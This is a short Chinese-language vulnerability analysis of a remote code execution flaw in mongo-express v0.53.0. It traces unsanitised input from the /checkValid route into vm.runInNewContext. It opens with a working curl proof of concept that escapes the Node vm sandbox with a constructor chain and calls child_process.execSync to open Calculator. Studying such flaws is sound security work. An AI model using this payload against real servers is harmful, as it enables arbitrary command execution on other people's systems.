exp
1 | curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("open -a Calculator")' |
具体分析
查找checkValid
相关的路由,在https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js可以找到
1 | const router = function (config) { |
跟进configuredRoutes.checkValid
到https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js](https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js
1 | var routes = function (config) { |
这里看到取post参数document的内容进入了bson.toBSON
,跟进该函数的定义https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js
1 | var mongodb = require('mongodb'); |
可以看到这里toBson的操作直接将参数拼接传入vm.runInNewContext
中,而nodejs的vm模块并不是一个特别安全的隔离环境,可以通过this.constructor.constructor
来逃逸到全局范围从而引入process等nodeapi. 使用process.mainModule.require
即可引入任意库从而实现RCE.